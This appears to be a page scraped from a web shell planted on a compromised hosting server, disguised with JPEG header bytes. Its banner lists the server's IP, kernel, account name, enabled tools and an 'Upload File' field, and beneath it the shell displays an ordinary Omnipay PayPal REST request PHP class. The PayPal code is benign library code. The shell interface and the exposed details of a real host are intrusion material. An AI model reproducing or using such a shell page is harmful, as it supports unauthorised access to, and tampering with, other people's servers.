����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/omnipay/paypal/src/Message/ |
Upload File : |
<?php
/**
* PayPal Abstract REST Request
*/
namespace Omnipay\PayPal\Message;
use Omnipay\Common\Exception\InvalidResponseException;
/**
* PayPal Abstract REST Request
*
* This class forms the base class for PayPal REST requests via the PayPal REST APIs.
*
* A complete REST operation is formed by combining an HTTP method (or “verb”) with
* the full URI to the resource you’re addressing. For example, here is the operation
* to create a new payment:
*
* <code>
* POST https://api.paypal.com/v1/payments/payment
* </code>
*
* To create a complete request, combine the operation with the appropriate HTTP headers
* and any required JSON payload.
*
* @link https://developer.paypal.com/docs/api/
* @link https://devtools-paypal.com/integrationwizard/
* @link http://paypal.github.io/sdk/
* @see Omnipay\PayPal\RestGateway
*/
abstract class AbstractRestRequest extends \Omnipay\Common\Message\AbstractRequest
{
const API_VERSION = 'v1';
/**
* Sandbox Endpoint URL
*
* The PayPal REST APIs are supported in two environments. Use the Sandbox environment
* for testing purposes, then move to the live environment for production processing.
* When testing, generate an access token with your test credentials to make calls to
* the Sandbox URIs. When you’re set to go live, use the live credentials assigned to
* your app to generate a new access token to be used with the live URIs.
*
* @var string URL
*/
protected $testEndpoint = 'https://api.sandbox.paypal.com';
/**
* Live Endpoint URL
*
* When you’re set to go live, use the live credentials assigned to
* your app to generate a new access token to be used with the live URIs.
*
* @var string URL
*/
protected $liveEndpoint = 'https://api.paypal.com';
/**
* PayPal Payer ID
*
* @var string PayerID
*/
protected $payerId = null;
public function getClientId()
{
return $this->getParameter('clientId');
}
public function setClientId($value)
{
return $this->setParameter('clientId', $value);
}
public function getSecret()
{
return $this->getParameter('secret');
}
public function setSecret($value)
{
return $this->setParameter('secret', $value);
}
public function getToken()
{
return $this->getParameter('token');
}
public function setToken($value)
{
return $this->setParameter('token', $value);
}
public function getPayerId()
{
return $this->getParameter('payerId');
}
public function setPayerId($value)
{
return $this->setParameter('payerId', $value);
}
/**
* Get HTTP Method.
*
* This is nearly always POST but can be over-ridden in sub classes.
*
* @return string
*/
protected function getHttpMethod()
{
return 'POST';
}
protected function getEndpoint()
{
$base = $this->getTestMode() ? $this->testEndpoint : $this->liveEndpoint;
return $base . '/' . self::API_VERSION;
}
public function sendData($data)
{
// Guzzle HTTP Client createRequest does funny things when a GET request
// has attached data, so don't send the data if the method is GET.
if ($this->getHttpMethod() == 'GET') {
$requestUrl = $this->getEndpoint() . '?' . http_build_query($data);
$body = null;
} else {
$body = $this->toJSON($data);
$requestUrl = $this->getEndpoint();
}
// Might be useful to have some debug code here, PayPal especially can be
// a bit fussy about data formats and ordering. Perhaps hook to whatever
// logging engine is being used.
// echo "Data == " . json_encode($data) . "\n";
try {
$httpResponse = $this->httpClient->request(
$this->getHttpMethod(),
$this->getEndpoint(),
array(
'Accept' => 'application/json',
'Authorization' => 'Bearer ' . $this->getToken(),
'Content-type' => 'application/json',
),
$body
);
// Empty response body should be parsed also as and empty array
$body = (string) $httpResponse->getBody()->getContents();
$jsonToArrayResponse = !empty($body) ? json_decode($body, true) : array();
return $this->response = $this->createResponse($jsonToArrayResponse, $httpResponse->getStatusCode());
} catch (\Exception $e) {
throw new InvalidResponseException(
'Error communicating with payment gateway: ' . $e->getMessage(),
$e->getCode()
);
}
}
/**
* Returns object JSON representation required by PayPal.
* The PayPal REST API requires the use of JSON_UNESCAPED_SLASHES.
*
* Adapted from the official PayPal REST API PHP SDK.
* (https://github.com/paypal/PayPal-PHP-SDK/blob/master/lib/PayPal/Common/PayPalModel.php)
*
* @param int $options http://php.net/manual/en/json.constants.php
* @return string
*/
public function toJSON($data, $options = 0)
{
// Because of PHP Version 5.3, we cannot use JSON_UNESCAPED_SLASHES option
// Instead we would use the str_replace command for now.
// TODO: Replace this code with return json_encode($this->toArray(), $options | 64); once we support PHP >= 5.4
if (version_compare(phpversion(), '5.4.0', '>=') === true) {
return json_encode($data, $options | 64);
}
return str_replace('\\/', '/', json_encode($data, $options));
}
protected function createResponse($data, $statusCode)
{
return $this->response = new RestResponse($this, $data, $statusCode);
}
}